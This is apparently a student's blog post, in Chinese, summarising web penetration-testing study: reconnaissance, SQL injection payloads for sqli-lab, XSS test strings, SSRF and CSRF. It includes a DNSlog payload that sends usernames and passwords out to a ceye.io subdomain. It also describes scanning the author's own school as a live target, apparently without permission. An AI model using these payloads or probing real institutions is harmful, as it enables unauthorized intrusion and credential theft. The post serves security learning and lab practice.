时间总是最珍贵的东西,浑浑噩噩的一下子就又一个学期过了大半有余。 下面对这段时间学习的知识进行一些总结:
一、信息收集
信息收集应该是进行所有渗透的第一步也是关键一步。 对于信息收集这一模块。我以学校为目标进行练习,嘿嘿。
信息收集,怎么说呢把目标看作一个城市,城市有很多入口,里面有各种各样的东西,
主站---大门
子站---校门
端口---一些窗户/下水道?
后台---暗门
网站架构/cms---设计图
有了这些比喻,可能会比较好理解,这也是大门不给走小门,也就是为什么要收集子域名、端口的原因。 比如:我收集的学校信息,主站就开放了443、80端口基本没啥搞头,但是教务系统的时候发现了,21和1433端口这就有搞头了。
嗯,,,具体怎么收集信息,也就这样了- 收集域名信息:whois、https://fofa.so/、天眼查
- 收集敏感信息如:谷歌site;edu.cn intext:后台、burp suite的repeater同样可以收集到服务器的相关信息
- 收集子域名:layer子域名挖掘机、谷歌、fofa、
- 端口扫描:端口扫描工具、nmap
- 找真实的ip:直接ping它查看是否使用cdn、https//asm.ca.com/en/ping.php、https://www.netcraft.com
- 收集敏感目录文件:DirBuster、御剑后台扫描
二、漏洞环境的搭建
phpstudy+sqli-lab+xssplatform+DVWA 或 WAMP+sqli-lab+xssplatform+DVWAXSS练习攻略ctf秀平台
https://ctf.show/challenges
三、sql注入学习总结
最关键的是判断是否是sql注入,注入点是在哪吧。这两个知道了,就可以进行常规和非常规注入测试了。 接下来就是注入类型然后进行注入了
1、布尔型注入---sqli-lab的less8
求长度' and length(database())>8 --+ 数据库名拼接 ' and (ascii(substr(database(),1,1)))>115 --+
脚本攻击1 | import requests |
2、报错注入 sqli-lab的less1-6 11-14 17-24
报错函数如下
- updatexml():mysql对xml文档数据进行查询和修改的xpath函数
- extractvalue():mysql对xml文档数据进行查询的xpath函数
- floor():mysql中用来取整的函数
- exp():此函数返回e(自然对数的底)指数X的幂值
语法updatexml(目标xml文档,xml路径,更新的内容)
1 | select username from security.user where id=1 and (updatexml(1,’/xx/xx’,’anything’)) |
3、联合查询注入
数字型 union select 1,2,3判断回显位
字符型 ' and 1=2 union select 1,2,3-- qwe
4、时间盲注
延时注入 if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句 sleep():休眠多少秒 ' and sleep(5)-- qwe //延时了5秒,证明执行成功了。
猜当前数据库: 1. ' and if(length(database())>8,1,sleep(5))-- qwe数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。
5、二次注入 sqli-lab less24
只要在注册的时候 用admin ‘#注册 再去看数据库user里的会发现 有admin ’# 这个东西 然后,就看我们修改时的那个原码了 直接用admin ‘#登录,然后改密码 直接逮住 完事 原理:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49 比较靠谱
6、DNSLOG注入 封神台-辛巴猫舍 sqli-lab less-38
DNSlog注入应用场景 sql注入的盲注、无回显的命令执行、无回显的SSRF
DNSlog注入原理 有一个可以配置的域名(比如:ceye.io),然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A, 然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,
DNSLOG平台
http://www.dnslog.cn http://admin.dnslog.link http://ceye.io
DNSlog需要条件:
MySQL 开启 load_file() DNSLog 平台 (Hyuga、CEYE) Windows 平台
`改成分配我们的域名:CONCAT:字符串拼接函数 中间的select是一个子查询,假如root用户的密码是root,那么这条语句就等同于 SELECT LOAD_FILE('\\\\root.75icr7.ceye.io\\abc'); payload(我失败了): ?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
and(SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT database()),’.75icr7.ceye.io\abc’)))
除此之外还有
宽字节注入 sqli-lab less-32:用%df 吃掉 源码里的\, 堆叠注入 sqli-lab less-38:?id=1';insert into users(username,password) values ('hello','world'); 其实用上面给的py也是可以用,稍微改一下就行
四、xss攻击
xss相对于我来说比较简单记忆,其实,关键还是判断xss攻击点在哪,再进行攻击就会比较简单了 找到测试点后,一般都会进行xss的测试语句进行测试:
1 | <script>alert(1)</script> |
绕过方式: 主动闭合标签实现注入代码 大小写绕过 双写 等等。。。主要靠经验吧
五、SSRF
可能也是我影响比较深刻的一个了。在参加字节跳动高校赛的时候,第一道题就是ssrf+的题,没做出来 在过后就去找了一个类型的题做, 最重要的是判断是否存在ssrf漏洞(用自己的vps开放端口进行测试)嗯......其实还是得用实例来总结会比较好,2020ByteCTF初赛官方Writeup!web题的easyscrapy https://bycsec.top/2020/10/26/ByteCTF2020-easyscrapy/ ctfshow的 https://ctf.show/challenges
六、CSRF
额,我偷懒了,我是从bibi那学的:https://www.bilibili.com/video/BV1UQ4y1N7aV 感觉他讲的应该是比我好很多
七、关于一些工具总结
讲真工具不熟练,因为还是实践过少。
不过,工具一般会扯到很多命令的比如metasploit单单讲这个的就很厚,还有powershell nmap? 认真的记了几波,发现还是记不牢。请教大佬,很多要知道有这回事,嗯,,,就是该记的还是要记,也不指望全部记住 不过,以后遇到要能想起来,然后去查
总结:
其实吧,看完《web安全攻防》、还是攻略完sqli-lab、还是攻略了ctfshow的xss挑战,其实更多的是知道有这回事在真实的题目应用上面却还是不足,在面临真正的ctf比赛试题或者平台练习的时候还是会比较脑袋空白的,其实就是经验不足导致的!这个确实是短板,书上、论坛看的再多也是无法得到的。
在这段时间里,学习过程中,讲真我并没有像很多人那样真正的说一撸就撸到很晚,我比较自满吧,总是在做完一些事的时候,会有点自满(其实做的不多)学完某个知识点的时候也是(到真正去做题的时候其实也是没有彻底掌握),懒惰、容易自满、没有更多的实践经验、见识少、忘性大是我现在的缺点吧
计划
- 坚持完成每周更新bolg
- 每周都必须攻略ctf平台
- 坚持在不是满课的情况下学习《ctf成长之路》
- 不要自满、投入更多的时间